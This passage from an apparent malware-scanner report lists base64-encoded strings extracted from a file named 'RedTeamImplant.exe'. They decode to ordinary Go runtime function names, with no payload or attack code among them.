Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaGVhcHJhbmQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaGVhcHJhbmQ2NA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaGVhcHJhbmRu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaGVjaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaGVja0FTTQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaGVja2RlYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaGVja2RlYWQuZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaGVja0ZpbmFsaXplcnNBbmRDbGVhbnVwcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaGVja0ZpbmFsaXplcnNBbmRDbGVhbnVwcy5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaGVja0ZpbmFsaXplcnNBbmRDbGVhbnVwcy5mdW5jMS4x","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaGVja0lkbGVHQ05vUA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaGVja21jb3VudA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaGVja1J1bnFzTm9Q","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaGVja1RpbWVyc05vUA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaHVua0Jhc2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaHVua0lkeC5sMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaHVua0lkeC5sMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaHVua0luZGV4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jaHVua1BhZ2VJbmRleA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5DbGVhbnVwLlN0b3A=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jbGVhckNsZWFudXBDb250ZXh0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jbGVhckZpbmFsaXplckNvbnRleHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jbGVhcnBvb2xz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jbG9iYmVyZnJlZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jbG9zZWNoYW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jbG9zZWNoYW4uZ29yZWFkeS5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jbXBzdHJpbmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jb21wdXRlMA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jb25jYXRzdHJpbmcy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jb25jYXRzdHJpbmcz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jb25jYXRzdHJpbmc0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jb25jYXRzdHJpbmc1","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jb25jYXRzdHJpbmdz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jb252VA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jb252VDMy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jb252VDY0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jb252VG5vcHRy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jb252VHNsaWNl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jb252VHN0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jb3B5c3RhY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jb3VudFN1Yg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jcHVpbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jcHV0aWNrcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jcmFzaA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jcmVhdGVmaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jcmVhdGVIaWdoUmVzVGltZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5jdHJsSGFuZGxlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kZWJ1Z0NhbGxDaGVjaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kZWJ1Z0NhbGxDaGVjay5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kZWJ1Z0NhbGxQYW5pY2tlZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kZWJ1Z0NhbGxWMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kZWJ1Z0NhbGxXcmFw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kZWJ1Z0NhbGxXcmFwLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kZWJ1Z0NhbGxXcmFwLmZ1bmMy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kZWJ1Z0NhbGxXcmFwMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kZWJ1Z0NhbGxXcmFwMS5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kZWJ1Z0NhbGxXcmFwMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kZWJ1Z0NhbGxXcmFwMi5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kZWJ1Z1Bpbm5lclYx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kZWNvZGVydW5l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kZWR1Y3RBc3Npc3RDcmVkaXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kZWR1Y3RTd2VlcENyZWRpdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kZWZhdWx0R09NQVhQUk9DUw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kZWZhdWx0R09NQVhQUk9DU1VwZGF0ZUVuYWJsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kZWZlcmNvbnZlcnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kZWZlcnByb2M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kZWZlcnByb2NTdGFjaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kZWZlcnJldHVybg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kaWVGcm9tRXhjZXB0aW9u","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kaXZSb3VuZFVw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kb0luaXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kb0luaXQx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kb2xvY2tPU1RocmVhZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kb3BhbmljX20=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kb3BhbmljX20uZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kb3BhbmljX20udHJhY2ViYWNrb3RoZXJzLmZ1bmMy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kb1JlY29yZEdvcm91dGluZVByb2ZpbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kb1JlY29yZEdvcm91dGluZVByb2ZpbGUuZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kb3VubG9ja09TVGhyZWFk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kcm9wZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kcm9wbQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kdWZmY29weQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kdWZmemVybw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kdW1wZ3N0YXR1cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kdW1wcmVncw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kdW1wU2NhblN0YXRz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kdW1wU3RhY2tzUmVj","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5kdW1wVHlwZXNSZWM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5lZmFjZWVx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5lbGlkZVdyYXBwZXJDYWxsaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5lbXB0eQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5lbmFibGVXRVI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5lbmNvZGVydW5l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5lbmRDaGVja21hcmtz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5lbnRlcnN5c2NhbGw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5lbnRlcnN5c2NhbGxfZ2N3YWl0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5lbnRlcnN5c2NhbGxfc3lzbW9u","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5lbnRlcnN5c2NhbGxibG9jaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5lbnRlcnN5c2NhbGxibG9jay5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5lbnRlcnN5c2NhbGxibG9jay5mdW5jMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5lbnRlcnN5c2NhbGxibG9jay5mdW5jMw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5lbnRlcnN5c2NhbGxibG9ja19oYW5kb2Zm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5lbnZLZXlFcXVhbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5lcXNsaWNl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5lcnJvckFkZHJlc3NTdHJpbmcuRXJyb3I=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5lcnJvclN0cmluZy5FcnJvcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5leGNlcHRpb25oYW5kbGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5leGNlcHRpb250cmFtcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5leGVjdXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5leGl0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5leGl0c3lzY2FsbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5leGl0c3lzY2FsbC5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5leGl0c3lzY2FsbC5mdW5jMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5leGl0c3lzY2FsbDA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5leGl0c3lzY2FsbGZhc3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5leGl0c3lzY2FsbGZhc3QuZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5leGl0c3lzY2FsbGZhc3RfcGlkbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5leGl0c3lzY2FsbGZhc3RfcmVhY3F1aXJlZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5leGl0c3lzY2FsbGZhc3RfcmVhY3F1aXJlZC5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5leGl0VGhyZWFk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5leHBhbmRDZ29GcmFtZXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mMzJlcXVhbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mMzJoYXNo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mNjRlcXVhbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mNjRoYXNo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mYXN0ZXhwcmFuZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mYXN0bG9nMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mYXRhbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mYXRhbC5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mYXRhbHBhbmlj","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mYXRhbHBhbmljLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mYXRhbHBhbmljLmZ1bmMy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mYXRhbHRocm93","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mYXRhbHRocm93LmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5maWxsQWxpZ25lZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5maWxsQWxpZ25lZC5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5maWxsc3RhY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5maW5hbGl6ZXJjb21taXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5maW5kQml0UmFuZ2U2NA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5maW5kZnVuYw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5maW5kbW9kdWxlZGF0YXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5maW5kbnVsbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5maW5kT2JqZWN0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5maW5kUnVubmFibGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5maW5kc2doaQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5maW5pc2hEZWJ1Z1ZhcnNTZXR1cA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5maW5pc2hzd2VlcF9t","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5maW5SZWFkUXVldWVTdGF0cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5maXJzdGNvbnRpbnVlaGFuZGxlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5maXJzdGNvbnRpbnVldHJhbXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mbG9hdDY0Yml0cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mbXROU0FzTVM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mb3JjZWdjaGVscGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mb3JFYWNoRw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mb3JFYWNoR1JhY2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mb3JFYWNoUA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mb3JFYWNoUEludGVybmFs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mb3JFYWNoU3BlY2lhbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mcFRyYWNlYmFja1BhcnRpYWxFeHBhbmQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5mcFRyYWNlYmFja1BhcnRpYWxFeHBhbmQuZnVuYzE=","type":"Ansi","source":"Memory/File 